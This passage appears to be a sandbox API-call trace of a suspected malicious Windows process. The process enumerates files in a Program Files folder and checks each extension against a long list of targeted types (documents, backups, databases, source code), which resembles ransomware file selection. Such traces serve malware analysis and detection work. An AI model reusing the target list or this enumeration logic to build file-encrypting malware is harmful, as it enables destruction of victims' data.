lpString2="html") returned -1 [0182.139] lstrlenW (lpString=".geo") returned 4 [0182.139] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0182.139] lstrlenW (lpString=".gif") returned 4 [0182.139] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0182.140] lstrlenW (lpString=".grs") returned 4 [0182.140] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0182.140] lstrlenW (lpString=".gz") returned 3 [0182.140] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0182.140] lstrlenW (lpString=".h") returned 2 [0182.140] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.140] lstrlenW (lpString=".hdr") returned 4 [0182.140] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0182.140] lstrlenW (lpString=".hpp") returned 4 [0182.140] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0182.140] lstrlenW (lpString=".hta") returned 4 [0182.140] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0182.140] lstrlenW (lpString=".htc") returned 4 [0182.140] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0182.140] lstrlenW (lpString=".htm") returned 4 [0182.140] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0182.140] lstrlenW (lpString=".html") returned 5 [0182.140] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0182.140] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0182.140] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0182.140] lstrlenW (lpString=".1cd") returned 4 [0182.140] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.140] lstrlenW (lpString=".3ds") returned 4 [0182.140] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0182.140] lstrlenW (lpString=".3fr") returned 4 [0182.141] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0182.141] lstrlenW (lpString=".3g2") returned 4 [0182.141] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0182.141] lstrlenW (lpString=".3gp") returned 4 [0182.141] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0182.141] lstrlenW (lpString=".7z") returned 3 [0182.141] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.141] lstrlenW (lpString=".accda") returned 6 [0182.141] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0182.141] lstrlenW (lpString=".accdb") returned 6 [0182.141] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0182.141] lstrlenW (lpString=".accdc") returned 6 [0182.141] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0182.141] lstrlenW (lpString=".accde") returned 6 [0182.141] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0182.141] lstrlenW (lpString=".accdt") returned 6 [0182.141] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0182.141] lstrlenW (lpString=".accdw") returned 6 [0182.141] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0182.141] lstrlenW (lpString=".adb") returned 4 [0182.141] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0182.141] lstrlenW (lpString=".adp") returned 4 [0182.141] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0182.141] lstrlenW (lpString=".ai") returned 3 [0182.142] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0182.142] lstrlenW (lpString=".ai3") returned 4 [0182.142] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0182.142] lstrlenW (lpString=".ai4") returned 4 [0182.142] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0182.142] lstrlenW (lpString=".ai5") returned 4 [0182.142] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0182.142] lstrlenW (lpString=".ai6") returned 4 [0182.142] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0182.142] lstrlenW (lpString=".ai7") returned 4 [0182.142] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0182.142] lstrlenW (lpString=".ai8") returned 4 [0182.142] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0182.142] lstrlenW (lpString=".anim") returned 5 [0182.142] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0182.142] lstrlenW (lpString=".arw") returned 4 [0182.142] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0182.142] lstrlenW (lpString=".as") returned 3 [0182.142] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0182.142] lstrlenW (lpString=".asa") returned 4 [0182.142] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0182.142] lstrlenW (lpString=".asc") returned 4 [0182.142] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0182.142] lstrlenW (lpString=".ascx") returned 5 [0182.142] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0182.142] lstrlenW (lpString=".asm") returned 4 [0182.142] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0182.143] lstrlenW (lpString=".asmx") returned 5 [0182.143] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0182.143] lstrlenW (lpString=".asp") returned 4 [0182.143] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0182.143] lstrlenW (lpString=".aspx") returned 5 [0182.143] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0182.143] lstrlenW (lpString=".asr") returned 4 [0182.143] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0182.143] lstrlenW (lpString=".asx") returned 4 [0182.143] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0182.143] lstrlenW (lpString=".avi") returned 4 [0182.143] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0182.143] lstrlenW (lpString=".avs") returned 4 [0182.143] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0182.143] lstrlenW (lpString=".backup") returned 7 [0182.143] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0182.143] lstrlenW (lpString=".bak") returned 4 [0182.143] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0182.143] lstrlenW (lpString=".bay") returned 4 [0182.143] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0182.143] lstrlenW (lpString=".bd") returned 3 [0182.143] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0182.143] lstrlenW (lpString=".bin") returned 4 [0182.143] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0182.143] lstrlenW (lpString=".bmp") returned 4 [0182.144] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0182.144] lstrlenW (lpString=".bz2") returned 4 [0182.144] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.144] lstrlenW (lpString=".c") returned 2 [0182.144] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.144] lstrlenW (lpString=".cdr") returned 4 [0182.144] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0182.144] lstrlenW (lpString=".cer") returned 4 [0182.144] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0182.144] lstrlenW (lpString=".cf") returned 3 [0182.144] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0182.144] lstrlenW (lpString=".cfc") returned 4 [0182.144] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0182.147] lstrlenW (lpString=".cfm") returned 4 [0182.147] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0182.147] lstrlenW (lpString=".cfml") returned 5 [0182.147] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0182.147] lstrlenW (lpString=".cfu") returned 4 [0182.147] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0182.147] lstrlenW (lpString=".chm") returned 4 [0182.147] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0182.147] lstrlenW (lpString=".cin") returned 4 [0182.147] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0182.147] lstrlenW (lpString=".class") returned 6 [0182.148] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0182.148] lstrlenW (lpString=".clx") returned 4 [0182.148] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0182.148] lstrlenW (lpString=".config") returned 7 [0182.148] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0182.148] lstrlenW (lpString=".cpp") returned 4 [0182.148] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0182.148] lstrlenW (lpString=".cr2") returned 4 [0182.148] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0182.148] lstrlenW (lpString=".crt") returned 4 [0182.148] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0182.148] lstrlenW (lpString=".crw") returned 4 [0182.148] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0182.148] lstrlenW (lpString=".cs") returned 3 [0182.148] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0182.148] lstrlenW (lpString=".css") returned 4 [0182.148] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0182.148] lstrlenW (lpString=".csv") returned 4 [0182.148] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0182.148] lstrlenW (lpString=".cub") returned 4 [0182.148] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0182.148] lstrlenW (lpString=".dae") returned 4 [0182.148] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0182.148] lstrlenW (lpString=".dat") returned 4 [0182.148] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0182.149] lstrlenW (lpString=".db") returned 3 [0182.150] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0182.150] lstrlenW (lpString=".dbf") returned 4 [0182.150] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.150] lstrlenW (lpString=".dbx") returned 4 [0182.150] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0182.150] lstrlenW (lpString=".dc3") returned 4 [0182.150] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0182.150] lstrlenW (lpString=".dcm") returned 4 [0182.150] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0182.150] lstrlenW (lpString=".dcr") returned 4 [0182.150] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0182.150] lstrlenW (lpString=".der") returned 4 [0182.150] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0182.150] lstrlenW (lpString=".dib") returned 4 [0182.150] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0182.150] lstrlenW (lpString=".dic") returned 4 [0182.150] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0182.150] lstrlenW (lpString=".dif") returned 4 [0182.150] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0182.150] lstrlenW (lpString=".divx") returned 5 [0182.150] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0182.150] lstrlenW (lpString=".djvu") returned 5 [0182.150] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0182.150] lstrlenW (lpString=".dng") returned 4 [0182.150] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0182.151] lstrlenW (lpString=".doc") returned 4 [0182.151] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.151] lstrlenW (lpString=".docm") returned 5 [0182.151] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0182.151] lstrlenW (lpString=".docx") returned 5 [0182.151] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0182.151] lstrlenW (lpString=".dot") returned 4 [0182.151] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0182.151] lstrlenW (lpString=".dotm") returned 5 [0182.151] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0182.151] lstrlenW (lpString=".dotx") returned 5 [0182.151] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0182.151] lstrlenW (lpString=".dpx") returned 4 [0182.151] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0182.151] lstrlenW (lpString=".dqy") returned 4 [0182.151] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0182.151] lstrlenW (lpString=".dsn") returned 4 [0182.151] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0182.151] lstrlenW (lpString=".dt") returned 3 [0182.151] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0182.151] lstrlenW (lpString=".dtd") returned 4 [0182.151] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0182.151] lstrlenW (lpString=".dwg") returned 4 [0182.151] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0182.151] lstrlenW (lpString=".dwt") returned 4 [0182.152] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0182.152] lstrlenW (lpString=".dx") returned 3 [0182.152] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0182.152] lstrlenW (lpString=".dxf") returned 4 [0182.152] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0182.152] lstrlenW (lpString=".edml") returned 5 [0182.152] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0182.152] lstrlenW (lpString=".efd") returned 4 [0182.152] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0182.152] lstrlenW (lpString=".elf") returned 4 [0182.152] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0182.152] lstrlenW (lpString=".emf") returned 4 [0182.152] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0182.152] lstrlenW (lpString=".emz") returned 4 [0182.152] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0182.152] lstrlenW (lpString=".epf") returned 4 [0182.152] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0182.152] lstrlenW (lpString=".eps") returned 4 [0182.152] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0182.152] lstrlenW (lpString=".epsf") returned 5 [0182.152] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0182.152] lstrlenW (lpString=".epsp") returned 5 [0182.152] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0182.152] lstrlenW (lpString=".erf") returned 4 [0182.152] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0182.152] lstrlenW (lpString=".exr") returned 4 [0182.153] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0182.153] lstrlenW (lpString=".f4v") returned 4 [0182.153] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0182.153] lstrlenW (lpString=".fido") returned 5 [0182.153] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0182.153] lstrlenW (lpString=".flm") returned 4 [0182.153] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0182.153] lstrlenW (lpString=".flv") returned 4 [0182.153] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0182.153] lstrlenW (lpString=".frm") returned 4 [0182.153] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0182.153] lstrlenW (lpString=".fxg") returned 4 [0182.153] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0182.153] lstrlenW (lpString=".geo") returned 4 [0182.153] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0182.153] lstrlenW (lpString=".gif") returned 4 [0182.153] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0182.153] lstrlenW (lpString=".grs") returned 4 [0182.153] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0182.153] lstrlenW (lpString=".gz") returned 3 [0182.153] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0182.153] lstrlenW (lpString=".h") returned 2 [0182.153] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.153] lstrlenW (lpString=".hdr") returned 4 [0182.153] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0182.153] lstrlenW (lpString=".hpp") returned 4 [0182.154] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0182.154] lstrlenW (lpString=".hta") returned 4 [0182.154] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0182.154] lstrlenW (lpString=".htc") returned 4 [0182.154] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0182.154] lstrlenW (lpString=".htm") returned 4 [0182.154] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0182.154] lstrlenW (lpString=".html") returned 5 [0182.154] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0182.154] lstrlenW (lpString=".icb") returned 4 [0182.154] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0182.154] lstrlenW (lpString=".ics") returned 4 [0182.154] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0182.154] lstrlenW (lpString=".iff") returned 4 [0182.154] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0182.154] lstrlenW (lpString=".inc") returned 4 [0182.154] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0182.154] lstrlenW (lpString=".indd") returned 5 [0182.154] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0182.154] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0182.155] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0182.156] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0182.156] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0182.156] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0182.156] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484bd8 [0182.227] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0182.227] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9093, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0182.227] lstrlenW (lpString="index.html") returned 10 [0182.227] lstrlenW (lpString=".1cd") returned 4 [0182.227] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0182.227] lstrlenW (lpString=".3ds") returned 4 [0182.227] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0182.227] lstrlenW (lpString=".3fr") returned 4 [0182.227] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0182.227] lstrlenW (lpString=".3g2") returned 4 [0182.228] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0182.228] lstrlenW (lpString=".3gp") returned 4 [0182.228] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0182.228] lstrlenW (lpString=".7z") returned 3 [0182.228] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0182.228] lstrlenW (lpString=".accda") returned 6 [0182.228] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0182.228] lstrlenW (lpString=".accdb") returned 6 [0182.228] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0182.228] lstrlenW (lpString=".accdc") returned 6 [0182.228] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0182.228] lstrlenW (lpString=".accde") returned 6 [0182.228] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0182.229] lstrlenW (lpString=".accdt") returned 6 [0182.229] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0182.229] lstrlenW (lpString=".accdw") returned 6 [0182.229] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0182.229] lstrlenW (lpString=".adb") returned 4 [0182.229] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0182.229] lstrlenW (lpString=".adp") returned 4 [0182.229] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0182.229] lstrlenW (lpString=".ai") returned 3 [0182.229] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0182.229] lstrlenW (lpString=".ai3") returned 4 [0182.229] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0182.229] lstrlenW (lpString=".ai4") returned 4 [0182.229] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0182.229] lstrlenW (lpString=".ai5") returned 4 [0182.229] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0182.229] lstrlenW (lpString=".ai6") returned 4 [0182.229] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0182.229] lstrlenW (lpString=".ai7") returned 4 [0182.229] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0182.229] lstrlenW (lpString=".ai8") returned 4 [0182.229] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0182.229] lstrlenW (lpString=".anim") returned 5 [0182.229] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0182.229] lstrlenW (lpString=".arw") returned 4 [0182.230] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0182.230] lstrlenW (lpString=".as") returned 3 [0182.230] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0182.230] lstrlenW (lpString=".asa") returned 4 [0182.231] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0182.231] lstrlenW (lpString=".asc") returned 4 [0182.231] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0182.231] lstrlenW (lpString=".ascx") returned 5 [0182.231] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0182.231] lstrlenW (lpString=".asm") returned 4 [0182.231] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0182.231] lstrlenW (lpString=".asmx") returned 5 [0182.231] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0182.231] lstrlenW (lpString=".asp") returned 4 [0182.231] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0182.231] lstrlenW (lpString=".aspx") returned 5 [0182.231] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0182.231] lstrlenW (lpString=".asr") returned 4 [0182.231] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0182.231] lstrlenW (lpString=".asx") returned 4 [0182.231] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0182.231] lstrlenW (lpString=".avi") returned 4 [0182.231] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0182.231] lstrlenW (lpString=".avs") returned 4 [0182.231] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0182.231] lstrlenW (lpString=".backup") returned 7 [0182.231] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0182.231] lstrlenW (lpString=".bak") returned 4 [0182.231] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0182.231] lstrlenW (lpString=".bay") returned 4 [0182.231] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0182.232] lstrlenW (lpString=".bd") returned 3 [0182.232] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0182.232] lstrlenW (lpString=".bin") returned 4 [0182.232] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0182.232] lstrlenW (lpString=".bmp") returned 4 [0182.232] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0182.232] lstrlenW (lpString=".bz2") returned 4 [0182.232] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0182.232] lstrlenW (lpString=".c") returned 2 [0182.232] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.232] lstrlenW (lpString=".cdr") returned 4 [0182.232] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0182.232] lstrlenW (lpString=".cer") returned 4 [0182.232] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0182.232] lstrlenW (lpString=".cf") returned 3 [0182.232] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0182.232] lstrlenW (lpString=".cfc") returned 4 [0182.232] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0182.232] lstrlenW (lpString=".cfm") returned 4 [0182.232] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0182.232] lstrlenW (lpString=".cfml") returned 5 [0182.232] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0182.232] lstrlenW (lpString=".cfu") returned 4 [0182.232] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0182.232] lstrlenW (lpString=".chm") returned 4 [0182.232] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0182.233] lstrlenW (lpString=".cin") returned 4 